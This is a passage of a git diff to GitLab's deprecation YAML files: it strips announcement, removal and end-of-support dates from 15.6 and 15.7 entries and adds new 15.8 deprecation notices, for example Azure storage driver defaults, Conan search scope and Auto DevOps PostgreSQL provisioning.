- end_of_support_date: "2023-05-22" # (optional) The date of the milestone release when support for this feature will end.
diff --git a/data/deprecations/15-6-deprecate-merge_status-api-field.yml b/data/deprecations/15-6-deprecate-merge_status-api-field.yml
index 7d7b160d6bd..48b7824a13d 100644
--- a/data/deprecations/15-6-deprecate-merge_status-api-field.yml
+++ b/data/deprecations/15-6-deprecate-merge_status-api-field.yml
@@ -1,8 +1,6 @@
- title: "merge_status API field"
announcement_milestone: "15.6"
- announcement_date: "2022-11-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
body: |
The `merge_status` field in the [merge request API](https://docs.gitlab.com/ee/api/merge_requests.html#merge-status) has been deprecated in favor of the `detailed_merge_status` field which more correctly identifies all of the potential statuses that a merge request can be in. API users are encouraged to use the new `detailed_merge_status` field instead. The `merge_status` field will be removed in v5 of the GitLab REST API.
diff --git a/data/deprecations/15-6-deprecate-post-api-v4-runner.yml b/data/deprecations/15-6-deprecate-post-api-v4-runner.yml
index 07590296096..fd1e13321eb 100644
--- a/data/deprecations/15-6-deprecate-post-api-v4-runner.yml
+++ b/data/deprecations/15-6-deprecate-post-api-v4-runner.yml
@@ -1,8 +1,6 @@
- title: "Registration tokens and server-side runner arguments in `POST /api/v4/runners` endpoint" # (required) The name of the feature to be deprecated
announcement_milestone: "15.6" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-11-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "17.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2024-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: pedropombeiro # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -19,6 +17,5 @@
[runner registration token](https://docs.gitlab.com/ee/security/token_overview.html#runner-registration-tokens).
From GitLab 17.0 and later, the runner registration methods implemented by the new GitLab Runner token architecture will be the only supported methods.
end_of_support_milestone: "16.0" # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: "2023-05-22" # (optional) The date of the milestone release when support for this feature will end.
tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
documentation_url: https://docs.gitlab.com/ee/api/runners.html#register-a-new-runner # (optional) This is a link to the current documentation page
diff --git a/data/deprecations/15-6-deprecate-runner-reg-token-helm.yml b/data/deprecations/15-6-deprecate-runner-reg-token-helm.yml
index f93ffb05014..9df458024d4 100644
--- a/data/deprecations/15-6-deprecate-runner-reg-token-helm.yml
+++ b/data/deprecations/15-6-deprecate-runner-reg-token-helm.yml
@@ -1,8 +1,6 @@
- title: "`runnerRegistrationToken` parameter for GitLab Runner Helm Chart" # (required) The name of the feature to be deprecated
announcement_milestone: "15.6" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-11-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "17.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2024-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: pedropombeiro # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -16,4 +14,3 @@
- A unique system ID saved to the `config.toml`, which will ensure traceability between jobs and runners.
From GitLab 17.0 and later, the methods to register runners introduced by the new GitLab Runner token architecture will be the only supported methods.
end_of_support_milestone: "16.0" # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: "2023-05-22" # (optional) The date of the milestone release when support for this feature will end.
diff --git a/data/deprecations/15-6-deprecate-runner-register-command.yml b/data/deprecations/15-6-deprecate-runner-register-command.yml
index d2633ffacc9..709edc0afa2 100644
--- a/data/deprecations/15-6-deprecate-runner-register-command.yml
+++ b/data/deprecations/15-6-deprecate-runner-register-command.yml
@@ -1,8 +1,6 @@
- title: "Registration tokens and server-side runner arguments in `gitlab-runner register` command" # (required) The name of the feature to be deprecated
announcement_milestone: "15.6" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-11-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "17.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2024-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: pedropombeiro # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -16,4 +14,3 @@
[runner authentication token](https://docs.gitlab.com/ee/security/token_overview.html#runner-authentication-tokens-also-called-runner-tokens)
to the `gitlab-runner register` command.
end_of_support_milestone: "16.0" # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: "2023-05-22" # (optional) The date of the milestone release when support for this feature will end.
diff --git a/data/deprecations/15-6-deprecate-runner-register-token-k8s-operator.yml b/data/deprecations/15-6-deprecate-runner-register-token-k8s-operator.yml
index ec128c1aad1..4aed53f5ffd 100644
--- a/data/deprecations/15-6-deprecate-runner-register-token-k8s-operator.yml
+++ b/data/deprecations/15-6-deprecate-runner-register-token-k8s-operator.yml
@@ -1,8 +1,6 @@
- title: "GitLab Runner registration token in Runner Operator" # (required) The name of the feature to be deprecated
announcement_milestone: "15.6" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-11-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "17.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2024-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: ratchade # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -10,7 +8,6 @@
body: | # (required) Do not modify this line, instead modify the lines below.
The [`runner-registration-token`](https://docs.gitlab.com/runner/install/operator.html#install-the-kubernetes-operator) parameter that uses the OpenShift and k8s Vanilla Operator to install a runner on Kubernetes is deprecated. GitLab plans to introduce a new [GitLab Runner token architecture](https://docs.gitlab.com/ee/architecture/blueprints/runner_tokens/) in GitLab 15.8, which introduces a new method for registering runners and eliminates the legacy runner registration token.
end_of_support_milestone: "16.0" # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: "2023-05-22" # (optional) The date of the milestone release when support for this feature will end.
tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
documentation_url: https://docs.gitlab.com/runner/install/operator.html#install-the-kubernetes-operator # (optional) This is a link to the current documentation page
image_url: # (optional) This is a link to a thumbnail image depicting the feature
diff --git a/data/deprecations/15-7-dast-api-variable-deprecation.yml b/data/deprecations/15-7-dast-api-variable-deprecation.yml
index 724c24cf440..7f1e25d3541 100644
--- a/data/deprecations/15-7-dast-api-variable-deprecation.yml
+++ b/data/deprecations/15-7-dast-api-variable-deprecation.yml
@@ -1,8 +1,6 @@
- title: "DAST API variables" # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
announcement_milestone: "15.7" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-12-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: derekferguson # (required) GitLab username of the person reporting the deprecation
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-7-deprecate-api-v4-runner-registration-token-reset-endpoints.yml b/data/deprecations/15-7-deprecate-api-v4-runner-registration-token-reset-endpoints.yml
index 17336c0d2c8..3f77a9f3d8f 100644
--- a/data/deprecations/15-7-deprecate-api-v4-runner-registration-token-reset-endpoints.yml
+++ b/data/deprecations/15-7-deprecate-api-v4-runner-registration-token-reset-endpoints.yml
@@ -1,8 +1,6 @@
- title: "Support for REST API endpoints that reset runner registration tokens" # (required) The name of the feature to be deprecated
announcement_milestone: "15.7" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-12-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: pedropombeiro # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -22,6 +20,5 @@
[runner registration token](https://docs.gitlab.com/ee/security/token_overview.html#runner-registration-tokens).
From GitLab 16.0 and later, the runner registration methods implemented by the new GitLab Runner token architecture will be the only supported methods.
end_of_support_milestone: "16.0" # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: "2023-05-22" # (optional) The date of the milestone release when support for this feature will end.
tiers: # (optional - may be required in the future) An array of tiers that the feature is available in currently. e.g., [Free, Silver, Gold, Core, Premium, Ultimate]
documentation_url: https://docs.gitlab.com/ee/api/runners.html#register-a-new-runner # (optional) This is a link to the current documentation page
diff --git a/data/deprecations/15-7-deprecate-dast-api-scan-in-dast-template.yml b/data/deprecations/15-7-deprecate-dast-api-scan-in-dast-template.yml
index 172683dcb86..805deff50c7 100644
--- a/data/deprecations/15-7-deprecate-dast-api-scan-in-dast-template.yml
+++ b/data/deprecations/15-7-deprecate-dast-api-scan-in-dast-template.yml
@@ -1,8 +1,6 @@
- title: "DAST API scans using DAST template is deprecated" # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
announcement_milestone: "15.7" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-12-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: derekferguson # (required) GitLab username of the person reporting the deprecation
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-7-deprecate-dast-zap-variables.yml b/data/deprecations/15-7-deprecate-dast-zap-variables.yml
index 764d74b00bb..b57a27fa126 100644
--- a/data/deprecations/15-7-deprecate-dast-zap-variables.yml
+++ b/data/deprecations/15-7-deprecate-dast-zap-variables.yml
@@ -1,8 +1,6 @@
- title: "DAST ZAP advanced configuration variables deprecation" # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
announcement_milestone: "15.7" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-12-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: derekferguson # (required) GitLab username of the person reporting the deprecation
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-7-deprecate-gitlab-runner-exec-cmd.yml b/data/deprecations/15-7-deprecate-gitlab-runner-exec-cmd.yml
index d535e58fc36..b1a8e2e3999 100644
--- a/data/deprecations/15-7-deprecate-gitlab-runner-exec-cmd.yml
+++ b/data/deprecations/15-7-deprecate-gitlab-runner-exec-cmd.yml
@@ -1,8 +1,6 @@
- title: "The `gitlab-runner exec` command is deprecated" # (required) The name of the feature to be deprecated
announcement_milestone: "15.7" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-12-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: DarrenEastman # (required) GitLab username of the person reporting the deprecation
stage: Verify # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -10,7 +8,6 @@
body: | # (required) Do not modify this line, instead modify the lines below.
The [`gitlab-runner exec`](https://docs.gitlab.com/runner/commands/#gitlab-runner-exec) command is deprecated and will be fully removed from GitLab Runner in 16.0. The `gitlab-runner exec` feature was initially developed to provide the ability to validate a GitLab CI pipeline on a local system without needing to commit the updates to a GitLab instance. However, with the continued evolution of GitLab CI, replicating all GitLab CI features into `gitlab-runner exec` was no longer viable. Pipeline syntax and validation [simulation](https://docs.gitlab.com/ee/ci/pipeline_editor/#simulate-a-cicd-pipeline) are available in the GitLab pipeline editor.
end_of_support_milestone: "16.0" # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: "2023-05-22" # (optional) The date of the milestone release when support for this feature will end.
# OTHER OPTIONAL FIELDS
diff --git a/data/deprecations/15-7-deprecate-kas-metrics-port-in-gitlab-chart.yml b/data/deprecations/15-7-deprecate-kas-metrics-port-in-gitlab-chart.yml
index 2b747a2fead..ce26849879a 100644
--- a/data/deprecations/15-7-deprecate-kas-metrics-port-in-gitlab-chart.yml
+++ b/data/deprecations/15-7-deprecate-kas-metrics-port-in-gitlab-chart.yml
@@ -1,8 +1,6 @@
- title: "KAS Metrics Port in GitLab Helm Chart" # (required) The name of the feature to be deprecated
announcement_milestone: "15.7" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-12-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: timofurrer # (required) GitLab username of the person reporting the deprecation
stage: Configure # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -11,7 +9,6 @@
The `gitlab.kas.metrics.port` has been deprecated in favor of the new `gitlab.kas.observability.port` configuration field for the [GitLab Helm Chart](https://gitlab.com/gitlab-org/charts/gitlab/-/merge_requests/2839).
This port is used for much more than just metrics, which warranted this change to avoid confusion in configuration.
end_of_support_milestone: "16.0" # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: "2023-05-22" # (optional) The date of the milestone release when support for this feature will end.
# OTHER OPTIONAL FIELDS
diff --git a/data/deprecations/15-7-deprecate-phabricator-importer.yml b/data/deprecations/15-7-deprecate-phabricator-importer.yml
index 42958a05b1d..fa2c643e9b7 100644
--- a/data/deprecations/15-7-deprecate-phabricator-importer.yml
+++ b/data/deprecations/15-7-deprecate-phabricator-importer.yml
@@ -1,8 +1,6 @@
- title: 'The Phabricator task importer is deprecated'
announcement_milestone: '15.7'
- announcement_date: '2022-12-22'
removal_milestone: '16.0'
- removal_date: '2023-05-22'
breaking_change: true
body: |
The [Phabricator task importer](https://docs.gitlab.com/ee/user/project/import/phabricator.html) is being deprecated. Phabricator itself as a project is no longer actively maintained since June 1, 2021. We haven't observed imports using this tool. There has been no activity on the open related issues on GitLab.
diff --git a/data/deprecations/15-7-deprecate-shimo-integration.yml b/data/deprecations/15-7-deprecate-shimo-integration.yml
index 11ccbae41de..95bb4ec141d 100644
--- a/data/deprecations/15-7-deprecate-shimo-integration.yml
+++ b/data/deprecations/15-7-deprecate-shimo-integration.yml
@@ -1,8 +1,6 @@
- title: "Shimo integration" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "The maximum number of characters in a job name will be limited to 250."
announcement_milestone: "15.7" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-12-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: arturoherrero # (required) GitLab username of the person reporting the deprecation
stage: Manage # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -17,7 +15,6 @@
# in the `#spt_managers` channel in Slack, and mention `@gitlab-com/support` in this MR.
#
end_of_support_milestone: "16.0" # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: "2023-05-22" # (optional) The date of the milestone release when support for this feature will end.
#
# OTHER OPTIONAL FIELDS
#
diff --git a/data/deprecations/15-7-deprecate-single-merge-request-changes-api-endpoint.yml b/data/deprecations/15-7-deprecate-single-merge-request-changes-api-endpoint.yml
index 4dcefc617c0..9e567322eca 100644
--- a/data/deprecations/15-7-deprecate-single-merge-request-changes-api-endpoint.yml
+++ b/data/deprecations/15-7-deprecate-single-merge-request-changes-api-endpoint.yml
@@ -1,8 +1,6 @@
- title: 'Single merge request changes API endpoint'
announcement_milestone: '15.7'
- announcement_date: '2022-12-22'
removal_milestone: '16.0'
- removal_date: '2023-05-22'
breaking_change: true
body: |
The endpoint to get [changes from a single merge request](https://docs.gitlab.com/ee/api/merge_requests.html#get-single-merge-request-changes) has been deprecated in favor the [list merge request diffs](https://docs.gitlab.com/ee/api/merge_requests.html#list-merge-request-diffs) endpoint. API users are encouraged to switch to the new diffs endpoint instead. The `changes from a single merge request` endpoint will be removed in v5 of the GitLab REST API.
diff --git a/data/deprecations/15-7-deprecate-zentao-integration.yml b/data/deprecations/15-7-deprecate-zentao-integration.yml
index 5fc7e9da5fc..0925be8de60 100644
--- a/data/deprecations/15-7-deprecate-zentao-integration.yml
+++ b/data/deprecations/15-7-deprecate-zentao-integration.yml
@@ -1,8 +1,6 @@
- title: "ZenTao integration" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "The maximum number of characters in a job name will be limited to 250."
announcement_milestone: "15.7" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-12-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: arturoherrero # (required) GitLab username of the person reporting the deprecation
stage: Manage # (required) String value of the stage that the feature was created in. e.g., Growth
@@ -17,7 +15,6 @@
# in the `#spt_managers` channel in Slack, and mention `@gitlab-com/support` in this MR.
#
end_of_support_milestone: "16.0" # (optional) Use "XX.YY" format. The milestone when support for this feature will end.
- end_of_support_date: "2023-05-22" # (optional) The date of the milestone release when support for this feature will end.
#
# OTHER OPTIONAL FIELDS
#
diff --git a/data/deprecations/15-7-enable-period-in-terraform-state-name.yml b/data/deprecations/15-7-enable-period-in-terraform-state-name.yml
index e9db80ea34c..f56505ed2bc 100644
--- a/data/deprecations/15-7-enable-period-in-terraform-state-name.yml
+++ b/data/deprecations/15-7-enable-period-in-terraform-state-name.yml
@@ -1,8 +1,6 @@
- title: "Support for periods (`.`) in Terraform state names might break existing states"
announcement_milestone: "15.7"
- announcement_date: "2022-12-22"
removal_milestone: "16.0"
- removal_date: "2023-05-22"
breaking_change: true
reporter: nagyv-gitlab
stage: configure
@@ -20,6 +18,5 @@
To use the full state name, including the period, [migrate to the full state file](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform_state.html#migrate-to-a-gitlab-managed-terraform-state).
end_of_support_milestone: 16.0
- end_of_support_date: 2023-05-22
tiers: [Free, Silver, Gold, Core, Premium, Ultimate]
documentation_url: 'https://docs.gitlab.com/ee/user/infrastructure/iac/troubleshooting.html#troubleshooting-terraform-state'
diff --git a/data/deprecations/15-8-azure-storage-driver-root-prefix.yml b/data/deprecations/15-8-azure-storage-driver-root-prefix.yml
new file mode 100644
index 00000000000..16f848c0193
--- /dev/null
+++ b/data/deprecations/15-8-azure-storage-driver-root-prefix.yml
@@ -0,0 +1,13 @@
+- title: "Azure Storage Driver defaults to the correct root prefix" # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
+ breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
+ reporter: trizzi # (required) GitLab username of the person reporting the deprecation
+ stage: Package # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/container-registry/-/issues/854 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ The Azure Storage Driver writes to `//` as the default root directory. This default root directory appears in some places within the Azure UI as `/<no-name>/`. We have maintained this legacy behavior to support older deployments using this storage driver. However, when moving to Azure from another storage driver, this behavior hides all your data until you configure the storage driver to build root paths without an extra leading slash by setting `trimlegacyrootprefix: true`.
+
+ The new default configuration for the storage driver will set `trimlegacyrootprefix: true`, and `/` will be the default root directory. You can add `trimlegacyrootprefix: false` to your current configuration to avoid any disruptions.
+
+ This breaking change will happen in GitLab 16.0.
diff --git a/data/deprecations/15-8-conan-search-limited-to-project.yml b/data/deprecations/15-8-conan-search-limited-to-project.yml
new file mode 100644
index 00000000000..872652be69e
--- /dev/null
+++ b/data/deprecations/15-8-conan-search-limited-to-project.yml
@@ -0,0 +1,11 @@
+- title: "Conan project-level search endpoint returns project-specific results" # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
+ breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
+ reporter: trizzi # (required) GitLab username of the person reporting the deprecation
+ stage: Package # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/384455 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ You can use the GitLab Conan repository with [project-level](https://docs.gitlab.com/ee/user/packages/conan_repository/#add-a-remote-for-your-project) or [instance-level](https://docs.gitlab.com/ee/user/packages/conan_repository/#add-a-remote-for-your-instance) endpoints. Each level supports the conan search command. However, the search endpoint for the project level is also returning packages from outside the target project.
+
+ This unintended functionality is deprecated in GitLab 15.8 and will be removed in GitLab 16.0. The search endpoint for the project level will only return packages from the target project.
diff --git a/data/deprecations/15-8-dast-report-variables-deprecation.yml b/data/deprecations/15-8-dast-report-variables-deprecation.yml
index 21416e0d009..28a2c366c44 100644
--- a/data/deprecations/15-8-dast-report-variables-deprecation.yml
+++ b/data/deprecations/15-8-dast-report-variables-deprecation.yml
@@ -1,8 +1,6 @@
- title: "DAST report variables deprecation" # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
announcement_milestone: "15.7" # (required) The milestone when this feature was first announced as deprecated.
- announcement_date: "2022-12-22" # (required) The date of the milestone release when this feature was first announced as deprecated. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
- removal_date: "2023-05-22" # (required) The date of the milestone release when this feature is planned to be removed. This should almost always be the 22nd of a month (YYYY-MM-22), unless you did an out of band blog post.
breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
reporter: derekferguson # (required) GitLab username of the person reporting the deprecation
stage: Secure # (required) String value of the stage that the feature was created in. e.g., Growth
diff --git a/data/deprecations/15-8-default-private-user-profile.yml b/data/deprecations/15-8-default-private-user-profile.yml
new file mode 100644
index 00000000000..d07163e1ca9
--- /dev/null
+++ b/data/deprecations/15-8-default-private-user-profile.yml
@@ -0,0 +1,9 @@
+- title: "Null value for `private_profile` attribute in User API is deprecated" # (required) Clearly explain the change, or planned change. For example, "The `confidential` field for a `Note` is deprecated" or "CI/CD job names will be limited to 250 characters."
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
+ breaking_change: true # (required) Change to false if this is not a breaking change.
+ reporter: lohrc # (required) GitLab username of the person reporting the change
+ stage: manage # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/387005 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ When creating and updating users through the API, `null` was a valid value for the `private_profile` attribute, which would internally be converted to the default value. Starting with 16.0, `null` will no longer be a valid value for this parameter, and the response will be a 400 if used. Now the only valid values are `true` and `false`.
diff --git a/data/deprecations/15-8-dependency-scanning-java-versions.yml b/data/deprecations/15-8-dependency-scanning-java-versions.yml
new file mode 100644
index 00000000000..ad8f87a7fbe
--- /dev/null
+++ b/data/deprecations/15-8-dependency-scanning-java-versions.yml
@@ -0,0 +1,9 @@
+- title: "Dependency Scanning support for Java 13, 14, 15, and 16"
+ announcement_milestone: "15.8"
+ removal_milestone: "16.0"
+ breaking_change: true
+ reporter: sam.white
+ stage: secure
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/387560
+ body: |
+ GitLab has deprecated Dependency Scanning support for Java versions 13, 14, 15, and 16 and plans to remove that support in the upcoming GitLab 16.0 release. This is consistent with [Oracle's support policy](https://www.oracle.com/java/technologies/java-se-support-roadmap.html) as Oracle Premier and Extended Support for these versions has ended. This also allows GitLab to focus Dependency Scanning Java support on LTS versions moving forward.
diff --git a/data/deprecations/15-8-deprecate-auto-deploy-postgres-enabled.yml b/data/deprecations/15-8-deprecate-auto-deploy-postgres-enabled.yml
new file mode 100644
index 00000000000..048ae337924
--- /dev/null
+++ b/data/deprecations/15-8-deprecate-auto-deploy-postgres-enabled.yml
@@ -0,0 +1,16 @@
+- title: "Auto DevOps no longer provisions a PostgreSQL database by default"
+ announcement_milestone: "15.8"
+ removal_milestone: "16.0"
+ breaking_change: true
+ reporter: tigerwnz
+ stage: Configure
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/343988
+ body: |
+ Currently, Auto DevOps provisions an in-cluster PostgreSQL database by default.
+ In GitLab 16.0, databases will be provisioned only for users who opt in. This
+ change supports production deployments that require more robust database management.
+
+ If you want Auto DevOps to provision an in-cluster database,
+ set the `POSTGRES_ENABLED` CI/CD variable to `true`.
+ tiers: [Core, Premium, Ultimate]
+ documentation_url: https://docs.gitlab.com/ee/topics/autodevops/stages.html#auto-deploy
diff --git a/data/deprecations/15-8-deprecate-deploy-PAT-with-external-auth.yml b/data/deprecations/15-8-deprecate-deploy-PAT-with-external-auth.yml
new file mode 100644
index 00000000000..f1b93f725b0
--- /dev/null
+++ b/data/deprecations/15-8-deprecate-deploy-PAT-with-external-auth.yml
@@ -0,0 +1,9 @@
+- title: "Limit personal access token and deploy token's access with external authorization" # (required) Actionable title. e.g., The `confidential` field for a `Note` is deprecated. Use `internal` instead.
+ announcement_milestone: "15.8" # (required) The milestone when this feature was first announced as deprecated.
+ removal_milestone: "16.0" # (required) The milestone when this feature is planned to be removed
+ breaking_change: true # (required) If this deprecation is a breaking change, set this value to true
+ reporter: adil.farrukh # (required) GitLab username of the person reporting the deprecation
+ stage: Manage # (required) String value of the stage that the feature was created in. e.g., Growth
+ issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/387721 # (required) Link to the deprecation issue in GitLab
+ body: | # (required) Do not modify this line, instead modify the lines below.
+ With external authorization enabled, personal access tokens (PATs) and deploy tokens must no longer be able to access container or package registries. This defense-in-depth security measure will be deployed in 16.0. For users that use PATs and deploy tokens to access these registries, this measure breaks this use of these tokens. Disable external authorization to use tokens with container or package registries.
diff --git a/data/deprecations/15-8-deprecate-disabled-with-override-runner-setting-value.yml b/data/deprecations/15-8-deprecate-disabled-with-override-runner-setting-value.yml
new file mode 100644
index 00000000000..db93f0cadcc
--- /dev/null
+++ b/data/deprecations/15-8-deprecate-disabled-with-override-runner-setting-value.yml
@@ -0,0 +1,18 @@
+#
+# REQUIRED FIELDS
+#
